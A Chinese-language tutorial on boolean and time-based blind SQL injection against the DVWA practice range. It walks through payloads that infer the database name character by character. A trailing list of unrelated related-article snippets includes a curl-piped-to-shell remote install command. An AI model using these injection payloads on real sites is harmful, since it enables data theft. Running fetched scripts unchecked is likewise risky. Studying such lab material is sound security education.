【DVWA靶场】Web安全之(布尔值/延时型)SQL盲注(超详细教程)

SQL盲注原理

1.SQL盲注概念

   SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

2.分类

基于布尔的盲注: 即可以根据返回页面判断条件真假的注入;基于时间的盲注: 即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;基于报错的盲注: 即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;

3.盲注测试思路

1.对于基于布尔的盲注,通过构造真or假判断条件(数据库各项信息取值的大小比较, 如:字段个数,字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码…), 将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果 (True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注 响应从True<–>False发生变化的转折点。

2.对于基于时间的盲注,通过构造真or假判断条件的sql语句, 且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求, 观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。

3.对于基于报错的盲注,搜寻查看网上部分Blog,基本是在rand()函数作为group by的字段进行联用的时候会违反Mysql的约定而报错。rand()随机不确定性,使得group by会使用多次而报错。

4.盲注渗透测试流程

1.判断是否存在注入,注入的类型

2.猜解当前数据库名称

3.猜解数据库中的表名

4.猜解表中的字段名

5.获取表中的字段值

6.验证字段值的有效性

7.获取数据库的其他信息:版本、用户…

实战教程

1、low等级

1.1代码审计

代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞;
同时SQL语句查询返回的结果只有两种:
存在:User ID exists in the database;不存在:User ID is MISSING from the database;
    单引号注入

$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

1.2漏洞利用

a基于布尔的盲注:

a.1判断是否存在注入,注入是字符型还是数字型

若1' and 1=1 #        //存在exists

1' and 1=2 #       //不存在missing

存在字符型注入

若1 and 1=1 #        //存在exists

1 and 1=2 #      //存在exists

这两个都是存在,不是数字型注入。输入1' and 1=1# 实际后台执行,返回存在。

SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#';

输入1' and 1=2# 实际后台执行,返回不存在。

SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2#';

说明存在字符型的SQL盲注。

a.2猜解当前的数据库名称

猜解数据库名,首先要猜解数据库名的各个属性,然后挨个猜解字符。数据库名称的属性:字符长度、字符组成的元素(字符/数字/下划线/…)

        元素的位置(首位/第一位/…/末位)

2.1)判断数据库名称长度(二分法思维)

1' and length(database())>10 #          //missing

1' and length(database())>5 #           //missing

1' and length(database())>3 #          //exists

1' and length(database())=4 #         //exists

   

说明数据库名称长度为4个字符

SELECT first_name, last_name FROM users WHERE user_id = '1' and length(database())=4 # ';

2.2) 判断数据库名称的字符组成元素:

利用substr()函数从给定字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的位置,并分别转换为ASCII,与对应的ASCII值比较大小,找到值相同的字符。

mysql数据库中的字符串函数substr()的参数含义。

用法:

substr(string, start, length);

string为字符串;

start为起始位置;

length为长度。

注意:mysql中substr()的start是从1开始的,而不是0

1' and ascii(substr(database(),1,1))>50 #             //exists

1' and ascii(substr(database(),1,1))=100 #           //exists

第一个字符为:100--->d

1' and ascii(substr(database(),2,1))=118 #            //exists

第二个字符为:118--->v

1' and ascii(substr(database(),3,1))=119 #           //exists

第三个字符为:119--->w

1' and ascii(substr(database(),4,1))=97 #            //exists

第四个字符为:97--->a      

   

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/48597.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【数据结构】AVL树(平衡二叉搜索树)

文章目录 1.AVL树1.1 AVL树的概念1.2 AVL树节点的定义1.3 AVL树的插入1.4 AVL树的旋转1.4.1 左单旋1.4.2 右单旋1.4.3 右左双旋1.4.4 左右双旋 1.5 AVL树的平衡验证1.6 AVL树的删除1.7 AVL树的性能 1.AVL树 在前面&#xff0c;我们已经介绍过了二叉搜索树&#xff0c;也了解到…

美摄科技企业级视频拍摄与编辑SDK解决方案

在数字化浪潮汹涌的今天&#xff0c;视频已成为企业传递信息、塑造品牌、连接用户不可或缺的强大媒介。为了帮助企业轻松驾驭这一视觉盛宴的制作过程&#xff0c;美摄科技凭借其在影视级非编技术领域的深厚积累&#xff0c;推出了面向企业的专业视频拍摄与编辑SDK解决方案&…

Mac安装Hoomebrew与升级Python版本

参考 mac 安装HomeBrew(100%成功)_mac安装homebrew-CSDN博客 /bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)" 安装了Python 3.x版本&#xff0c;你可以使用以下命令来设置默认的Python版本&#xff1a; # 首先找到新安…

leetcode 二叉树 空指针报错

222. 完全二叉树的节点个数 通过的代码&#xff1a; /*** Definition for a binary tree node.* struct TreeNode {* int val;* TreeNode *left;* TreeNode *right;* TreeNode() : val(0), left(nullptr), right(nullptr) {}* TreeNode(int x) : val(x),…

lua 游戏架构 之 游戏 AI (一)ai_base

定义了一个基础AI组件类&#xff0c;它的作用是为游戏中的AI实体提供一个通用的框架和接口。以下是它提供的几个主要功能和概念&#xff1a; 1. **类定义**&#xff1a;继承class 函数 2. **构造函数 (ctor)**&#xff1a;类的构造函数用于初始化新创建的对象实例。它接受 en…

THS配置keepalive(yjm)

启动完THS管理控制台和THS后&#xff0c;登录控制台&#xff0c;进入实例管理》节点管理&#xff0c;可以分别使用界面配置和编辑配置设置长连接。 1、界面配置 点击界面配置》集群设置&#xff0c;启用长连接&#xff0c;设置长连接数、最大请求数和超时时间。 2、编辑配置 …

(C++回溯01) 组合

77、组合 回溯题目三步走 1. 确定参数 2. 确定终止条件 3. for 循环横向遍历&#xff0c;递归纵向遍历 class Solution { public:vector<vector<int>> result;vector<int> path;void backtracking(int n, int k, int startIndex) {if(path.size() k) {…

项目的纪要

ai客服项目中发现的问题: 可以在控制台看到我们存储的cookie: 可以看到是这样的, 但是我们通过getCookie方法专门获取这个字段, 然后在控制台打印后 const userName getTheCookie(SA_USER_NICK_NAME); console.log(userName, userName); 输出结果是: 然后我们尝试通过…

C++拷贝和移动

一、赋值 1.使拷贝赋值非virtual&#xff0c;以const& 传参&#xff0c;并返回非const的引用 2.使移动赋值非virtual&#xff0c;以&&传参&#xff0c;并返回非const的引用 // 拷贝赋值 vector& operator (const vector& other);// 移动赋值 vector&am…

2.3 openCv 对矩阵执行掩码操作

在矩阵上进行掩模操作相当简单。其基本思想是根据一个掩模矩阵(也称为核)来重新计算图像中每个像素的值。这个掩模矩阵包含的值决定了邻近像素(以及当前像素本身)对新的像素值产生多少影响。从数学角度来看,我们使用指定的值来做一个加权平均。 具体而言,掩模操作通常涉…

怎么服务器组内网?

服务器组内网&#xff0c;就是将两台以上的服务器建立一个局域网&#xff0c;使得这些服务器之间的连接更加安全快速&#xff0c;运行效率更高&#xff0c;起到 一加一大于二的效果。内网既能在同一个机柜或机房组件&#xff0c;也可以在不同城市或者不同国家之间组建&#xff…

JMeter的使用方法及https的使用方法

软件安装&#xff1a; 参考链接&#xff1a;JMeter 下载安装及环境配置&#xff08;包含jdk1.8安装及配置&#xff09;_jmeter5.2.1需要什么版本的jdk-CSDN博客 前置知识储备&#xff1a; Https请求的案例: JMeter的第一个案例 增加线程数 线程&#xff08;thread&#xff…

IP地址在后端怎么存才好?

一、地址的区别 在网络中&#xff0c;IP地址分为IPV4和IPV6&#xff0c;IPV4是一共占32位的&#xff0c;每8位小数点分隔&#xff0c;IPV6占128位&#xff0c;16位为一组&#xff0c;一共是8组。 IPV4 列&#xff1a;192.168.1.12&#xff08;每组转十进制后&#xff09; 1100…

量化机器人对市场趋势的反应速度

量化机器人对市场趋势的反应速度在当前金融市场中具有重要意义。随着算法和大数据技术的发展&#xff0c;量化机器人通过先进的计算能力和实时数据分析&#xff0c;能够迅速捕捉市场变化&#xff0c;做出及时的交易决策。这种快速反应能力&#xff0c;不仅提高了交易效率&#…

Meta 发布 LLAMA 3.1;特斯拉无人出租车推迟至 10 月;谷歌将向 Waymo 再投 50 亿美元

先瞧一下 Chat 和 Agent 的差异。 Chat&#xff08;聊天&#xff09;&#xff1a;纯粹的 Chat&#xff0c;宛如一个主要由“大脑与嘴”组成的智能体&#xff0c;着重于信息处置和语言沟通。诸如 ChatGPT 这般的系统&#xff0c;其能够领会用户的询问&#xff0c;给出有益且连贯…

Linux:基础命令学习

目录 一、ls命令 实例&#xff1a;-l以长格式显示文件和目录信息 实例&#xff1a;-F根据文件类型在列出的文件名称后加一符号 实例&#xff1a; -R 递归显示目录中的所有文件和子目录。 实例&#xff1a; 组合使用 Home目录和工作目录 二、目录修改和查看命令 三、mkd…

go语言环境变量及其作用

Go语言环境变量 set GO111MODULEon set GOARCHamd64 set GOBIN set GOCACHEC:\Users\rrrr\AppData\Local\go-build set GOENVC:\Users\rrrr\AppData\Roaming\go\env set GOEXE.exe set GOEXPERIMENT set GOFLAGS set GOHOSTARCHamd64 set GOHOSTOSwindows set GOINSECURE se…

网络学习|如何理解服务的端口号

文章目录 1. 端口号的定义2. 端口号的分类3. 端口号的用途4. 注意事项5. 示例图解 后端面试中可能遇到的端口相关问题及答案1. 什么是端口号&#xff1f;为什么需要端口号&#xff1f;2. 知名端口&#xff08;Well-Known Ports&#xff09;有哪些&#xff0c;举例说明&#xff…

【面试题】喔影网络科技面试题复盘

1. 分别用Flex布局和Grid布局实现两边固定中间自适应三列布局 相关文章&#xff1a;https://juejin.cn/post/7249010956935266364?searchId202407250009004EE0BBD1E792FB92FB60#heading-5 2. Http1.1 和 Http 2 有什么区别&#xff1f; 新的二进制格式&#xff1b;多路复用&a…

《Java初阶数据结构》----4.<线性表---Stack栈和Queue队列>

前言 大家好&#xff0c;我目前在学习java。之前也学了一段时间&#xff0c;但是没有发布博客。时间过的真的很快。我会利用好这个暑假&#xff0c;来复习之前学过的内容&#xff0c;并整理好之前写过的博客进行发布。如果博客中有错误或者没有读懂的地方。热烈欢迎大家在评论区…